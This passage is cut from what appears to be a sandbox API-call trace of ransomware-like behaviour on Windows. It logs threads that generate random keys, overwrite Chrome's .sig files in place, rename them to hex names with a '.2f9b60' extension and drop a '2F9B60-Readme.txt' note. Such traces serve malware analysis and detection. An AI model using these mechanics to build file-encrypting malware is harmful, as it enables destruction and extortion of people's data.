(x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18fc [0226.919] WriteFile (in: hFile=0x18fc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2d9ef6b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2d9ef6b0*=0xba9, lpOverlapped=0x0) returned 1 [0238.148] CloseHandle (hObject=0x18fc) returned 1 [0240.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac630) returned 1 [0240.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107780) returned 1 Thread: id = 2498 os_tid = 0x1f7c [0154.513] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.sig")) returned 0x20 [0154.513] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig", dwFileAttributes=0x20) returned 1 [0154.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.dll.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.dll.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x518 [0154.515] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x1f92fb00 | out: lpFileSize=0x1f92fb00*=1407) returned 1 [0154.515] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.515] ReadFile (in: hFile=0x518, lpBuffer=0x1f92fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f92fac8, lpOverlapped=0x0 | out: lpBuffer=0x1f92fa80*, lpNumberOfBytesRead=0x1f92fac8*=0x4, lpOverlapped=0x0) returned 1 [0154.544] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd99b0 [0154.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a40 [0154.544] NtQuerySystemTime (in: CurrentTime=0x1f92f9c0 | out: CurrentTime=0x1f92f9c0*=132462177596734000) returned 0x0 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0xfe924d8 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0xbfbac15 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x3b5ac6db [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x7b7a62b7 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0xc625a70 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x169faea4 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x6937ace8 [0154.544] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x21f328dc [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x15ad249e [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0xe1e8a1c [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x75b07082 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x8864e0a [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x61384867 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x4cd6821c [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x20421162 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x6f225c2a [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x58bca4cb [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x67712d44 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x7227bed0 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x5d7dee70 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x668e830e [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x619b6891 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x7dfa5c93 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x2a5151f6 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x1b271acc [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x6314fba6 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x2bbd95e3 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x5f82e636 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x7f350aad [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x5f5b2cd9 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0x767577a8 [0154.545] RtlRandomEx (in: Seed=0x1f92f9b0 | out: Seed=0x1f92f9b0) returned 0xcb6b763 [0154.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a70 [0154.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c6c0 [0154.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9aa0 [0154.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c6c0) returned 1 [0154.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9a40) returned 1 [0154.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1e30 [0154.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c6c0 [0154.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42816280 [0154.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42819e90 [0154.558] ReadFile (in: hFile=0x518, lpBuffer=0x42816280, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x1f92f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42816280*, lpNumberOfBytesRead=0x1f92f9b0*=0x57f, lpOverlapped=0x0) returned 1 [0154.558] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.558] WriteFile (hFile=0x518, lpBuffer=0x42819e90, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0x1f92f9b4, lpOverlapped=0x0) [0186.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9440 [0186.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9470 [0186.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9470) returned 1 [0186.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42819e90) returned 1 [0186.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42816280) returned 1 [0186.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c6c0) returned 1 [0186.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1e30) returned 1 [0186.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5cf30 [0186.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1e30 [0186.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c6c0 [0186.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9470 [0186.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9470) returned 1 [0186.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5cf70 [0186.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9470 [0186.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec94a0 [0186.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec94a0) returned 1 [0186.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c6c0) returned 1 [0186.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1e30) returned 1 [0186.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x43100840 [0186.384] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.384] WriteFile (in: hFile=0x518, lpBuffer=0x43100840*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x1f92fad0, lpOverlapped=0x0 | out: lpBuffer=0x43100840*, lpNumberOfBytesWritten=0x1f92fad0*=0x10e, lpOverlapped=0x0) returned 1 [0207.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30050 [0207.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30050) returned 1 [0207.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x42d30050 [0207.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30020 [0207.131] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ff60 [0207.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ff60) returned 1 [0207.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1b82c260 [0207.133] sprintf (in: _Dest=0x1b82c260, _Format="%c%c" | out: _Dest="04") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c262, _Format="%c%c" | out: _Dest="f9") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c264, _Format="%c%c" | out: _Dest="6d") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c266, _Format="%c%c" | out: _Dest="26") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c268, _Format="%c%c" | out: _Dest="5b") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c26a, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c26c, _Format="%c%c" | out: _Dest="60") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c26e, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c270, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c272, _Format="%c%c" | out: _Dest="51") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c274, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c276, _Format="%c%c" | out: _Dest="85") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c278, _Format="%c%c" | out: _Dest="5c") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c27a, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c27c, _Format="%c%c" | out: _Dest="92") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c27e, _Format="%c%c" | out: _Dest="52") returned 2 [0207.133] sprintf (in: _Dest=0x1b82c280, _Format="%c%c" | out: _Dest="a2") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c282, _Format="%c%c" | out: _Dest="6c") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c284, _Format="%c%c" | out: _Dest="5e") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c286, _Format="%c%c" | out: _Dest="57") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c288, _Format="%c%c" | out: _Dest="a5") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c28a, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c28c, _Format="%c%c" | out: _Dest="67") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c28e, _Format="%c%c" | out: _Dest="1d") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c290, _Format="%c%c" | out: _Dest="27") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c292, _Format="%c%c" | out: _Dest="19") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c294, _Format="%c%c" | out: _Dest="8e") returned 2 [0207.134] sprintf (in: _Dest=0x1b82c296, _Format="%c%c" | out: _Dest="37") returned 2 [0207.134] RtlInitAnsiString (in: DestinationString=0x1f92fb48, SourceString="04f96d265bab60b9e051f5855ce09252a26c5e57a5b5671d27198e37" | out: DestinationString="04f96d265bab60b9e051f5855ce09252a26c5e57a5b5671d27198e37") [0207.134] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f92fb18, SourceString="04f96d265bab60b9e051f5855ce09252a26c5e57a5b5671d27198e37", AllocateDestinationString=1 | out: DestinationString="04f96d265bab60b9e051f5855ce09252a26c5e57a5b5671d27198e37") returned 0x0 [0207.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f310 [0207.135] wcscat (in: _Dest=0x43128d20, _Source="04f96d265bab60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\04f96d265bab60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\04f96d265bab60" [0207.135] wcscat (in: _Dest=0x43128d20, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\04f96d265bab60.2f9b60") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\04f96d265bab60.2f9b60" [0207.135] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\04f96d265bab60.2f9b60", NtPathName=0x1f92faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\04f96d265bab60.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x119240 [0224.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 [0224.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x432216b0) returned 1 [0224.024] NtQueryInformationFile (in: FileHandle=0x518, IoStatusBlock=0x1f92fb58, FileInformation=0x1f92fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f92fb58, FileInformation=0x1f92fb68) returned 0x0 [0224.025] NtSetInformationFile (FileHandle=0x518, IoStatusBlock=0x1f92fb58, FileInformation=0x1f92fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43128d20) returned 1 [0225.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0225.426] FlushFileBuffers (hFile=0x518) returned 1 [0225.558] CloseHandle (hObject=0x518) returned 1 [0226.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x2050b7f0 [0226.042] wcscpy (in: _Dest=0x2050b7f0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\" [0226.042] wcscat (in: _Dest=0x2050b7f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" [0226.042] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\2f9b60-readme.txt")) returned 0x20 [0226.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b7f0) returned 1 [0226.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ade40) returned 1 Thread: id = 2499 os_tid = 0x1f80 [0154.516] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.exe.sig")) returned 0x20 [0154.517] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig", dwFileAttributes=0x20) returned 1 [0154.517] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\chrome.exe.sig" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\chrome.exe.sig"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x7cc [0154.518] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x2e2bfbc0 | out: lpFileSize=0x2e2bfbc0*=1407) returned 1 [0154.518] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x57b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.518] ReadFile (in: hFile=0x7cc, lpBuffer=0x2e2bfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e2bfb88, lpOverlapped=0x0 | out: lpBuffer=0x2e2bfb40*, lpNumberOfBytesRead=0x2e2bfb88*=0x4, lpOverlapped=0x0) returned 1 [0154.560] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9a40 [0154.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9ad0 [0154.560] NtQuerySystemTime (in: CurrentTime=0x2e2bfa80 | out: CurrentTime=0x2e2bfa80*=132462177596890000) returned 0x0 [0154.560] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x3a0ad0ed [0154.560] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x66339c41 [0154.560] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x5ae41f5f [0154.560] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x3f7cb02e [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x116060ab [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x63997f64 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x30fc5096 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x4b2e4c18 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0xb68a56b [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x5734585a [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x40fc56b2 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x44383f76 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x32a45e3c [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x328a17be [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x29719bab [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x429c3021 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x539e0455 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x3eed8fa1 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x60e9cd0a [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x31b89afc [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x7d931860 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x66706341 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x59cefed4 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x340b896e [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x27e78599 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x6765d768 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x5361caa8 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x6f7df6ab [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x452ad17c [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x79c77993 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x134be669 [0154.561] RtlRandomEx (in: Seed=0x2e2bfa70 | out: Seed=0x2e2bfa70) returned 0x209b09aa [0154.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b00 [0154.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c740 [0154.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9b30 [0154.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c740) returned 1 [0154.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9ad0) returned 1 [0154.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1e80 [0154.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c740 [0154.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4281daa0 [0154.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428216b0 [0154.589] ReadFile (in: hFile=0x7cc, lpBuffer=0x4281daa0, nNumberOfBytesToRead=0x57f, lpNumberOfBytesRead=0x2e2bfa70, lpOverlapped=0x0 | out: lpBuffer=0x4281daa0*, lpNumberOfBytesRead=0x2e2bfa70*=0x57f, lpOverlapped=0x0) returned 1 [0154.589] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.589] WriteFile (hFile=0x7cc, lpBuffer=0x428216b0, nNumberOfBytesToWrite=0x57f, lpNumberOfBytesWritten=0x2e2bfa74, lpOverlapped=0x0) [0186.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec95c0 [0186.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec95f0 [0186.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec95f0) returned 1 [0186.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428216b0) returned 1 [0186.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4281daa0) returned 1 [0186.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c740) returned 1 [0186.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1e80) returned 1 [0186.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d030 [0186.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1e80 [0186.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c740 [0186.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec95f0 [0186.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec95f0) returned 1 [0186.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1ce5d070 [0186.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec95f0 [0186.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9620 [0186.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9620) returned 1 [0186.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c740) returned 1 [0186.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1e80) returned 1 [0186.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10e) returned 0x43100a80 [0186.407] SetFilePointerEx (in: hFile=0x7cc, liDistanceToMove=0x0, 